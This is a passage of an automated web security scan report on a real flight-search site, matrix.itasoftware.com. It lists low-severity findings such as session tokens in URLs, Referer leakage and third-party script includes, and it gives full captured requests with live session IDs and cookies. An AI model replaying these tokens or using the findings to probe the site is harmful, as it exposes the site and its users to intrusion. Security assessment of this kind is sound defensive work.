Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:00:25 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 5854


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-eq
...[SNIP]...

2.2. http://matrix.itasoftware.com/view/flights  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://matrix.itasoftware.com
Path:   /view/flights

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.2.10.1303847824; __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:57:40 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 5328


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-eq
...[SNIP]...

2.3. http://matrix.itasoftware.com/xhr/shop/summarize  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://matrix.itasoftware.com
Path:   /xhr/shop/summarize

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /xhr/shop/summarize?solutionSet=05INN3JQ6GZDNnhLMlbFgJ0&session=0100DBeALDQcNVSQ79mWVpW40&summarizers=solutionList&format=JSON&inputs=%7B%22salesCity%22%3A%22BOS%22%2C%22slices%22%3A%5B%7B%22origins%22%3A%5B%22BOS%22%5D%2C%22destinations%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-04-30%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%2C%7B%22destinations%22%3A%5B%22BOS%22%5D%2C%22origins%22%3A%5B%22MIA%22%5D%2C%22date%22%3A%222011-05-18%22%2C%22isArrivalDate%22%3Afalse%2C%22dateModifier%22%3A%7B%22minus%22%3A0%2C%22plus%22%3A0%7D%7D%5D%2C%22pax%22%3A%7B%22adults%22%3A1%7D%2C%22cabin%22%3A%22COACH%22%2C%22changeOfAirport%22%3Atrue%2C%22checkAvailability%22%3Atrue%2C%22page%22%3A%7B%22size%22%3A30%7D%2C%22sorts%22%3A%22default%22%2C%22filter%22%3A%7B%22maxStopCount%22%3A%7B%22values%22%3A%5B1%5D%7D%2C%22carriers%22%3A%7B%22values%22%3A%5B%22*%22%5D%7D%7D%7D HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:00:23 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: application/json;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 34124

{}&&{"result":{"datacenter":"01","id":"7t9BFpmbcCaksApb60DBeC","session":"0100DBeALDQcNVSQ79mWVpW40","solutionCount":500,"solutionSet":"05INN3JQ6GZDNnhLMlbFgJ0","solutionList":{"minPrice":"USD251.00",
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://matrix.itasoftware.com/js/sites/matrix/nls/site_en-us.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /js/sites/matrix/nls/site_en-us.js

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /js/sites/matrix/nls/site_en-us.js?v07201101242 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.10.10.1303847753

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:56:50 GMT
Server: Apache-Coyote/1.1
Expires: Thu, 04 Aug 2011 19:56:50 GMT
Cache-Control: max-age=8640000
Accept-Ranges: bytes
ETag: W/"50804-1299862394000"
Last-Modified: Fri, 11 Mar 2011 16:53:14 GMT
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Length: 50804

dojo.provide("sites.matrix.nls.site_en-us");dojo.provide("sites.matrix.nls.messages");sites.matrix.nls.messages._built=true;dojo.provide("sites.matrix.nls.messages.en_us");sites.matrix.nls.messages.en
...[SNIP]...
send your suggestion. Please try again later.","dialogs_signUp_password_confirm":"Enter your password again","dialogs_signUp_header":"Create a new account","needle_promo":"Activity data collected by <a href='http://www.needlebase.com' target='_blank'>Needle</a>
...[SNIP]...
<li><a href='http://www.getfirefox.com' target='_blank'>Firefox</a></li><li><a href='http://www.apple.com/safari/' target='_blank'>Safari</a></li><li><a href='http://www.google.com/chrome' target='_blank'>Google Chrome</a>
...[SNIP]...
<li><a href='http://www.microsoft.com/windows/internet-explorer/' target='_blank'>Internet Explorer</a>
...[SNIP]...
<li><a href='http://www.opera.com/' target='_blank'>Opera</a>
...[SNIP]...
<li><a href='http://www.getfirefox.com' target='_blank'>Firefox 2+</a></li><li><a href='http://www.apple.com/safari/' target='_blank'>Safari 3+</a></li><li><a href='http://www.google.com/chrome' target='_blank'>Google Chrome 2+</a>
...[SNIP]...
<li><a href='http://www.microsoft.com/windows/internet-explorer/' target='_blank'>Internet Explorer 8+</a>
...[SNIP]...

3.2. http://matrix.itasoftware.com/view/details  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /view/details

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /view/details?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:00:25 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 5854


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-eq
...[SNIP]...
</script>
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://matrix.itasoftware.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.9.10.1303847753

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:56:42 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-cache, no-store
Expires: Tue, 26 Apr 2011 19:56:43 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 6007


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-eq
...[SNIP]...
</script>

<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
...[SNIP]...

4.2. http://matrix.itasoftware.com/view/details  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /view/details

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /view/details?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/view/flights?session=9dec83c4-0dea-4ecc-8e10-94096c69ac61
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:00:25 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 5854


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-eq
...[SNIP]...
</script>
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...

5. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://matrix.itasoftware.com
Path:   /js/sites/matrix/nls/site_en-us.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /js/sites/matrix/nls/site_en-us.js?v07201101242 HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.10.10.1303847753

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:56:50 GMT
Server: Apache-Coyote/1.1
Expires: Thu, 04 Aug 2011 19:56:50 GMT
Cache-Control: max-age=8640000
Accept-Ranges: bytes
ETag: W/"50804-1299862394000"
Last-Modified: Fri, 11 Mar 2011 16:53:14 GMT
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Length: 50804

dojo.provide("sites.matrix.nls.site_en-us");dojo.provide("sites.matrix.nls.messages");sites.matrix.nls.messages._built=true;dojo.provide("sites.matrix.nls.messages.en_us");sites.matrix.nls.messages.en
...[SNIP]...
s":"Stops","filterObserver_arrivalTime_not":"No ${values} (arrive)","grid_column_price_tooltip":"Sort by price","morning":"Morning","form_emailAddress_error":"Please enter a valid email address (e.g., yourAddress@example.com)","pricing_bookingCode":"booking code","form_allowAirportChanges":"Allow airport changes","shop_loading_summarize":"Updating flight info","filterObserver_arrivalTime_only":"Only ${values} (arrive)","l
...[SNIP]...

6. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


6.1. http://matrix.itasoftware.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://matrix.itasoftware.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain a GIF image.

Request

GET /favicon.ico HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753; searchFormState=%7B%22version%22%3A%220.7.20110124.2%22%2C%22json%22%3A%22%7B%5C%22mode%5C%22%3A%7B%5C%22date%5C%22%3A%5C%22exact%5C%22%2C%5C%22flightSelection%5C%22%3A%5C%22trip%5C%22%2C%5C%22flightView%5C%22%3A%5C%22trip%5C%22%2C%5C%22pageFlow%5C%22%3A%5C%22exact%5C%22%2C%5C%22trip%5C%22%3A%5C%22rt%5C%22%2C%5C%22calendarRange%5C%22%3A%5C%2230day%5C%22%7D%2C%5C%22searchForm%5C%22%3A%7B%5C%22mode%5C%22%3A%5C%22advanced%5C%22%2C%5C%22defaults%5C%22%3A%7B%5C%22multiCityRows%5C%22%3A2%7D%2C%5C%22awards%5C%22%3A%5C%22noawards%5C%22%2C%5C%22options%5C%22%3A%7B%5C%22showRoutingCodes%5C%22%3Afalse%2C%5C%22showFlightTimes%5C%22%3A%5Bfalse%2Cfalse%5D%2C%5C%22pax%5C%22%3A%5C%22simple%5C%22%7D%7D%7D%22%7D; __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.3.10.1303847824

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:59:30 GMT
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"900-1299862248000"
Last-Modified: Fri, 11 Mar 2011 16:50:48 GMT
Content-Length: 900
Content-Type: text/plain; charset=UTF-8

GIF89aE.1.... S.X~........^.......t..f........Js.......<i....................................................!.......,....E.1.... $.diB.! ...Kp4.i.xn....@..0...7...l6    ...884.3Ce(.\.@qJ65.?.#.{...ry.N
...[SNIP]...

6.2. http://matrix.itasoftware.com/geosearch/service/json/suggest/citiesAndAirports  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://matrix.itasoftware.com
Path:   /geosearch/service/json/suggest/citiesAndAirports

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

GET /geosearch/service/json/suggest/citiesAndAirports?name=Bismarck%2C%20ND%20(BIS)b&callback=dojo.io.script.jsonp_dojoIoScript10._jsonpCallback HTTP/1.1
Host: matrix.itasoftware.com
Proxy-Connection: keep-alive
Referer: http://matrix.itasoftware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=269716137.1303847753.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmz=241137183.1303847824.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=241137183.2018797994.1303847824.1303847824.1303847824.1; __utmc=241137183; __utmb=241137183.2.10.1303847824; __utma=269716137.2091474344.1303847753.1303847753.1303847753.1; __utmc=269716137; __utmb=269716137.13.10.1303847753

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 19:57:20 GMT
Server: Apache-Coyote/1.1
Content-Type: application/json
Content-Length: 54

dojo.io.script.jsonp_dojoIoScript10._jsonpCallback([])

Report generated by XSS.CX at Tue Apr 26 17:09:52 CDT 2011.